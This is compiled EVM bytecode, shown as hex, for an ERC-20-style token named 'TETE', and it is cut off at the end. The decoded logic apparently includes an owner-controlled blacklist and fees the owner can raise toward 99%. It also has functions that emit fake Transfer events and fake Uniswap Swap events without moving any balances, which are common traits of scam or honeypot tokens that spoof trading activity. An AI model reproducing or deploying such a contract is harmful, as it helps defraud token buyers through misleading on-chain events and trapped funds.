101f8565b80632fd689e314610375578063313ce567146103a057806349bd5a5e146103cb5780636b999053146103f6576101f8565b80631694505e116101c15780631694505e146102a557806318160ddd146102d05780631ae1ffbc146102fb57806323b872dd14610338576101f8565b8062b8cf2a146101fd57806306fdde0314610226578063095ea7b3146102515780630bd05b691461028e576101f8565b366101f857005b600080fd5b34801561020957600080fd5b50610224600480360381019061021f919061319e565b6107b4565b005b34801561023257600080fd5b5061023b6108de565b6040516102489190613266565b60405180910390f35b34801561025d57600080fd5b50610278600480360381019061027391906132be565b61091b565b6040516102859190613319565b60405180910390f35b34801561029a57600080fd5b506102a3610939565b005b3480156102b157600080fd5b506102ba6109eb565b6040516102c79190613393565b60405180910390f35b3480156102dc57600080fd5b506102e5610a11565b6040516102f291906133bd565b60405180910390f35b34801561030757600080fd5b50610322600480360381019061031d919061349b565b610a21565b60405161032f9190613319565b60405180910390f35b34801561034457600080fd5b5061035f600480360381019061035a919061356a565b610c6f565b60405161036c9190613319565b60405180910390f35b34801561038157600080fd5b5061038a610d48565b60405161039791906133bd565b60405180910390f35b3480156103ac57600080fd5b506103b5610d4e565b6040516103c291906135d9565b60405180910390f35b3480156103d757600080fd5b506103e0610d57565b6040516103ed9190613603565b60405180910390f35b34801561040257600080fd5b5061041d6004803603810190610418919061361e565b610d7d565b005b34801561042b57600080fd5b5061044660048036038101906104419190613677565b610e73565b005b34801561045457600080fd5b5061045d610f25565b005b34801561046b57600080fd5b506104866004803603810190610481919061361e565b610ff6565b60405161049391906133bd565b60405180910390f35b3480156104a857600080fd5b506104b1611047565b005b3480156104bf57600080fd5b506104da60048036038101906104d591906136a4565b61119a565b005b3480156104e857600080fd5b506104f1611239565b005b3480156104ff57600080fd5b506105086112ee565b60405161051591906133bd565b60405180910390f35b34801561052a57600080fd5b506105456004803603810190610540919061361e565b6112f4565b60405161055291906133bd565b60405180910390f35b34801561056757600080fd5b5061057061130c565b60405161057d9190613603565b60405180910390f35b34801561059257600080fd5b5061059b611335565b6040516105a891906133bd565b60405180910390f35b3480156105bd57600080fd5b506105c661133b565b6040516105d39190613266565b60405180910390f35b3480156105e857600080fd5b5061060360048036038101906105fe91906136a4565b611378565b005b34801561061157600080fd5b5061062c600480360381019061062791906132be565b611417565b6040516106399190613319565b60405180910390f35b34801561064e57600080fd5b506106696004803603810190610664919061361e565b611435565b6040516106769190613319565b60405180910390f35b34801561068b57600080fd5b50610694611455565b005b3480156106a257600080fd5b506106bd60048036038101906106b8919061372c565b61152e565b005b3480156106cb57600080fd5b506106e660048036038101906106e1919061378c565b611668565b005b3480156106f457600080fd5b5061070f600480360381019061070a91906137f3565b611751565b60405161071c91906133bd565b60405180910390f35b34801561073157600080fd5b5061074c6004803603810190610747919061356a565b6117d8565b6040516107599190613319565b60405180910390f35b34801561076e57600080fd5b50610789600480360381019061078491906136a4565b61184a565b005b34801561079757600080fd5b506107b260048036038101906107ad919061361e565b6118e9565b005b6107bc611aaa565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610849576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108409061387f565b60405180910390fd5b60005b81518110156108da5760016010600084848151811061086e5761086d61389f565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080806108d2906138fd565b91505061084c565b5050565b60606040518060400160405280600481526020017f5445544500000000000000000000000000000000000000000000000000000000815250905090565b600061092f610928611aaa565b8484611ab2565b6001905092915050565b610941611aaa565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146109ce576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109c59061387f565b60405180910390fd5b6001601560146101000a81548160ff021916908315150217905550565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000670de0b6b3a7640000905090565b600080600090505b8551811015610c6157858181518110610a4557610a4461389f565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef878481518110610aae57610aad61389f565b5b6020026020010151604051610ac391906133bd565b60405180910390a3858181518110610ade57610add61389f565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff16737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff167fd78ad95fa46c994b6551d0da85fc275fe613ce37657fb8d5e3d130840159d822878481518110610b5b57610b5a61389f565b5b6020026020010151600080898781518110610b7957610b7861389f565b5b6020026020010151604051610b919493929190613980565b60405180910390a38273ffffffffffffffffffffffffffffffffffffffff1663e156b1b6878381518110610bc857610bc761389f565b5b602002602001015189878581518110610be457610be361389f565b5b60200260200101516040518463ffffffff1660e01b8152600401610c0a939291906139c5565b6020604051808303816000875af1158015610c29573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c4d9190613a11565b508080610c59906138fd565b915050610a29565b506001905095945050505050565b6000610c7c848484611c7b565b610d3d84610c88611aaa565b610d388560405180606001604052806028815260200161442d60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610cee611aaa565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124fe9092919063ffffffff16565b611ab2565b600190509392505050565b60185481565b60006002905090565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b610d8561130c565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480610dd957506032610dc3610a11565b610dcd9190613a6d565b610dd633610ff6565b10155b610e18576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e0f90613aea565b60405180910390fd5b6000601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b610e7b611aaa565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f08576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610eff9061387f565b60405180910390fd5b80601560166101000a81548160ff02191690831515021790555050565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610f66611aaa565b73ffffffffffffffffffffffffffffffffffffffff161480610fdc5750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610fc4611aaa565b73ffffffffffffffffffffffffffffffffffffffff16145b610fe557600080fd5b6000479050610ff381612562565b50565b6000611040600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546125ce565b9050919050565b61104f611aaa565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146110dc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110d39061387f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6111a2611aaa565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461122f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112269061387f565b60405180910390fd5b8060168190555050565b611241611aaa565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146112ce576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112c59061387f565b60405180910390fd5b670de0b6b3a7640000601681905550670de0b6b3a7640000601781905550565b60165481565b60116020528060005260406000206000915090505481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60175481565b60606040518060400160405280600481526020017f5445544500000000000000000000000000000000000000000000000000000000815250905090565b611380611aaa565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461140d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114049061387f565b60405180910390fd5b8060188190555050565b600061142b611424611aaa565b8484611c7b565b6001905092915050565b60106020528060005260406000206000915054906101000a900460ff1681565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611496611aaa565b73ffffffffffffffffffffffffffffffffffffffff16148061150c5750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166114f4611aaa565b73ffffffffffffffffffffffffffffffffffffffff16145b61151557600080fd5b600061152030610ff6565b905061152b8161263c565b50565b611536611aaa565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146115c3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115ba9061387f565b60405180910390fd5b60005b838390508110156116625781600560008686858181106115e9576115e861389f565b5b90506020020160208101906115fe919061361e565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061165a906138fd565b9150506115c6565b50505050565b611670611aaa565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146116fd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116f49061387f565b60405180910390fd5b6019828561170b9190613b0a565b111561171657600080fd5b606381846117249190613b0a565b111561172f57600080fd5b8360088190555082600a819055508160098190555080600b8190555050505050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60008273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161183791906133bd565b60405180910390a3600190509392505050565b611852611aaa565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146118df576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118d69061387f565b60405180910390fd5b8060178190555050565b6118f1611aaa565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461197e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119759061387f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16036119ed576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119e490613bb0565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611b21576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b1890613c42565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611b90576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b8790613cd4565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611c6e91906133bd565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611cea576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ce190613d66565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611d59576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d5090613df8565b60405180910390fd5b60008111611d9c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d9390613e8a565b60405180910390fd5b611da461130c565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611e125750611de261130c565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b156121fd57601560149054906101000a900460ff16611ea157611e3361130c565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614611ea0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e9790613f1c565b60405180910390fd5b5b601654811115611ee6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611edd90613f88565b60405180910390fd5b601060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611f8a5750601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611fc9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fc09061401a565b60405180910390fd5b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614612076576017548161202b84610ff6565b6120359190613b0a565b10612075576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161206c906140ac565b60405180910390fd5b5b600061208130610ff6565b905060006018548210159050601654821061209c5760165491505b8080156120b4575060158054906101000a900460ff16155b801561210e5750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b80156121265750601560169054906101000a900460ff165b801561217c5750600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156121d25750600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156121fa576121e08261263c565b600047905060008111156121f8576121f747612562565b5b505b50505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806122a45750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b806123575750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141580156123565750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b5b1561236557600090506124ec565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480156124105750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b1561242857600854600c81905550600954600d819055505b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156124d35750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b156124eb57600a54600c81905550600b54600d819055505b5b6124f8848484846128b3565b50505050565b6000838311158290612546576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161253d9190613266565b60405180910390fd5b506000838561255591906140cc565b9050809150509392505050565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501580156125ca573d6000803e3d6000fd5b5050565b6000600654821115612615576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161260c90614172565b60405180910390fd5b600061261f6128e0565b9050612634818461290b90919063ffffffff16565b915050919050565b60016015806101000a81548160ff0219169083151502179055506000600267ffffffffffffffff81111561267357612672612ffd565b5b6040519080825280602002602001820160405280156126a15781602001602082028036833780820191505090505b50905030816000815181106126b9576126b861389f565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015612760573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061278491906141a7565b816001815181106127985761279761389f565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506127ff30601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611ab2565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401612863959493929190614292565b600060405180830381600087803b15801561287d57600080fd5b505af1158015612891573d6000803e3d6000fd5b505050505060006015806101000a81548160ff02191690831515021790555050565b806128c1576128c0612955565b5b6128cc848484612992565b806128da576128d9612b5d565b5b50505050565b60008060006128ed612b71565b91509150612904818361290b90919063ffffffff16565b9250505090565b600061294d83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612bd0565b905092915050565b6000600c5414801561296957506000600d54145b61299057600c54600e81905550600d54600f819055506000600c819055506000600d819055505b565b6000806000806000806129a487612c33565b955095509550955095509550612a0286600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612c9b90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612a9785600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612ce590919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612ae381612d43565b612aed8483612e00565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051612b4a91906133bd565b60405180910390a3505050505050505050565b600e54600c81905550600f54600d81905550565b600080600060065490506000670de0b6b3a76400009050612ba5670de0b6b3a764000060065461290b90919063ffffffff16565b821015612bc357600654670de0b6b3a7640000935093505050612bcc565b81819350935050505b9091565b60008083118290612c17576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612c0e9190613266565b60405180910390fd5b5060008385612c269190613a6d565b9050809150509392505050565b6000806000806000806000806000612c508a600c54600d54612e3a565b9250925092506000612c606128e0565b90506000806000612c738e878787612ed0565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b6000612cdd83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506124fe565b905092915050565b6000808284612cf49190613b0a565b905083811015612d39576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612d3090614338565b60405180910390fd5b8091505092915050565b6000612d4d6128e0565b90506000612d648284612f5990919063ffffffff16565b9050612db881600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612ce590919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612e1582600654612c9b90919063ffffffff16565b600681905550612e3081600754612ce590919063ffffffff16565b6007819055505050565b600080600080612e666064612e58888a612f5990919063ffffffff16565b61290b90919063ffffffff16565b90506000612e906064612e82888b612f5990919063ffffffff16565b61290b90919063ffffffff16565b90506000612eb982612eab858c612c9b90919063ffffffff16565b612c9b90919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612ee98589612f5990919063ffffffff16565b90506000612f008689612f5990919063ffffffff16565b90506000612f178789612f5990919063ffffffff16565b90506000612f4082612f328587612c9b90919063ffffffff16565b612c9b90919063ffffffff16565b9050838184965096509650505050509450945094915050565b6000808303612f6b5760009050612fcd565b60008284612f799190614358565b9050828482612f889190613a6d565b14612fc8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612fbf9061440c565b60405180910390fd5b809150505b92915050565b6000604051905090565b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b61303582612fec565b810181811067ffffffffffffffff8211171561305457613053612ffd565b5b80604052505050565b6000613067612fd3565b9050613073828261302c565b919050565b600067ffffffffffffffff82111561309357613092612ffd565b5b602082029050602081019050919050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006130d4826130a9565b9050919050565b6130e4816130c9565b81146130ef57600080fd5b50565b600081359050613101816130db565b92915050565b600061311a61311584613078565b61305d565b9050808382526020820190506020840283018581111561313d5761313c6130a4565b5b835b81811015613166578061315288826130f2565b84526020840193505060208101905061313f565b5050509392505050565b600082601f83011261318557613184612fe7565b5b8135613195848260208601613107565b91505092915050565b6000602082840312156131b4576131b3612fdd565b5b600082013567ffffffffffffffff8111156131d2576131d1612fe2565b5b6131de84828501613170565b91505092915050565b600081519050919050565b600082825260208201905092915050565b60005b83811015613221578082015181840152602081019050613206565b60008484015250505050565b6000613238826131e7565b61324281856131f2565b9350613252818560208601613203565b61325b81612fec565b840191505092915050565b60006020820190508181036000830152613280818461322d565b905092915050565b6000819050919050565b61329b81613288565b81146132a657600080fd5b50565b6000813590506132b881613292565b92915050565b600080604083850312156132d5576132d4612fdd565b5b60006132e3858286016130f2565b92505060206132f4858286016132a9565b9150509250929050565b60008115159050919050565b613313816132fe565b82525050565b600060208201905061332e600083018461330a565b92915050565b6000819050919050565b600061335961335461334f846130a9565b613334565b6130a9565b9050919050565b600061336b8261333e565b9050919050565b600061337d82613360565b9050919050565b61338d81613372565b82525050565b60006020820190506133a86000830184613384565b92915050565b6133b781613288565b82525050565b60006020820190506133d260008301846133ae565b92915050565b600067ffffffffffffffff8211156133f3576133f2612ffd565b5b602082029050602081019050919050565b6000613417613412846133d8565b61305d565b9050808382526020820190506020840283018581111561343a576134396130a4565b5b835b81811015613463578061344f88826132a9565b84526020840193505060208101905061343c565b5050509392505050565b600082601f83011261348257613481612fe7565b5b8135613492848260208601613404565b91505092915050565b600080600080600060a086880312156134b7576134b6612fdd565b5b60006134c5888289016130f2565b955050602086013567ffffffffffffffff8111156134e6576134e5612fe2565b5b6134f288828901613170565b945050604086013567ffffffffffffffff81111561351357613512612fe2565b5b61351f8882890161346d565b935050606086013567ffffffffffffffff8111156135405761353f612fe2565b5b61354c8882890161346d565b925050608061355d888289016130f2565b9150509295509295909350565b60008060006060848603121561358357613582612fdd565b5b6000613591868287016130f2565b93505060206135a2868287016130f2565b92505060406135b3868287016132a9565b9150509250925092565b600060ff82169050919050565b6135d3816135bd565b82525050565b60006020820190506135ee60008301846135ca565b92915050565b6135fd816130c9565b82525050565b600060208201905061361860008301846135f4565b92915050565b60006020828403121561363457613633612fdd565b5b6000613642848285016130f2565b91505092915050565b613654816132fe565b811461365f57600080fd5b50565b6000813590506136718161364b565b92915050565b60006020828403121561368d5761368c612fdd565b5b600061369b84828501613662565b91505092915050565b6000602082840312156136ba576136b9612fdd565b5b60006136c8848285016132a9565b91505092915050565b600080fd5b60008083601f8401126136ec576136eb612fe7565b5b8235905067ffffffffffffffff811115613709576137086136d1565b5b602083019150836020820283011115613725576137246130a4565b5b9250929050565b60008060006040848603121561374557613744612fdd565b5b600084013567ffffffffffffffff81111561376357613762612fe2565b5b61376f868287016136d6565b9350935050602061378286828701613662565b9150509250925092565b600080600080608085870312156137a6576137a5612fdd565b5b60006137b4878288016132a9565b94505060206137c5878288016132a9565b93505060406137d6878288016132a9565b92505060606137e7878288016132a9565b91505092959194509250565b6000806040838503121561380a57613809612fdd565b5b6000613818858286016130f2565b9250506020613829858286016130f2565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006138696020836131f2565b915061387482613833565b602082019050919050565b600060208201905081810360008301526138988161385c565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061390882613288565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff820361393a576139396138ce565b5b600182019050919050565b6000819050919050565b600061396a61396561396084613945565b613334565b613288565b9050919050565b61397a8161394f565b82525050565b600060808201905061399560008301876133ae565b6139a26020830186613971565b6139af6040830185613971565b6139bc60608301846133ae565b95945050505050565b60006060820190506139da60008301866135f4565b6139e760208301856135f4565b6139f460408301846133ae565b949350505050565b600081519050613a0b8161364b565b92915050565b600060208284031215613a2757613a26612fdd565b5b6000613a35848285016139fc565b91505092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000613a7882613288565b9150613a8383613288565b925082613a9357613a92613a3e565b5b828204905092915050565b7f206f776e65722000000000000000000000000000000000000000000000000000600082015250565b6000613ad46007836131f2565b9150613adf82613a9e565b602082019050919050565b60006020820190508181036000830152613b0381613ac7565b9050919050565b6000613b1582613288565b9150613b2083613288565b9250828201905080821115613b3857613b376138ce565b5b92915050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000613b9a6026836131f2565b9150613ba582613b3e565b604082019050919050565b60006020820190508181036000830152613bc981613b8d565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000613c2c6024836131f2565b9150613c3782613bd0565b604082019050919050565b60006020820190508181036000830152613c5b81613c1f565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000613cbe6022836131f2565b9150613cc982613c62565b604082019050919050565b60006020820190508181036000830152613ced81613cb1565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000613d506025836131f2565b9150613d5b82613cf4565b604082019050919050565b60006020820190508181036000830152613d7f81613d43565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000613de26023836131f2565b9150613ded82613d86565b604082019050919050565b60006020820190508181036000830152613e1181613dd5565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b6000613e746029836131f2565b9150613e7f82613e18565b604082019050919050565b60006020820190508181036000830152613ea381613e67565b9050919050565b7f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060008201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400602082015250565b6000613f06603f836131f2565b9150613f1182613eaa565b604082019050919050565b60006020820190508181036000830152613f3581613ef9565b9050919050565b7f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000600082015250565b6000613f72601c836131f2565b9150613f7d82613f3c565b602082019050919050565b60006020820190508181036000830152613fa181613f65565b9050919050565b7f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460008201527f6564210000000000000000000000000000000000000000000000000000000000602082015250565b60006140046023836131f2565b915061400f82613fa8565b604082019050919050565b6000602082019050818103600083015261403381613ff7565b9050919050565b7f544f4b454e3a2042616c616e636520657863656564732077616c6c657420736960008201527f7a65210000000000000000000000000000000000000000000000000000000000602082015250565b60006140966023836131f2565b91506140a18261403a565b604082019050919050565b600060208201905081810360008301526140c581614089565b9050919050565b60006140d782613288565b91506140e283613288565b92508282039050818111156140fa576140f96138ce565b5b92915050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b600061415c602a836131f2565b915061416782614100565b604082019050919050565b6000602082019050818103600083015261418b8161414f565b9050919050565b6000815190506141a1816130db565b92915050565b6000602082840312156141bd576141bc612fdd565b5b60006141cb84828501614192565b91505092915050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b614209816130c9565b82525050565b600061421b8383614200565b60208301905092915050565b6000602082019050919050565b600061423f826141d4565b61424981856141df565b9350614254836141f0565b8060005b838110156142855781516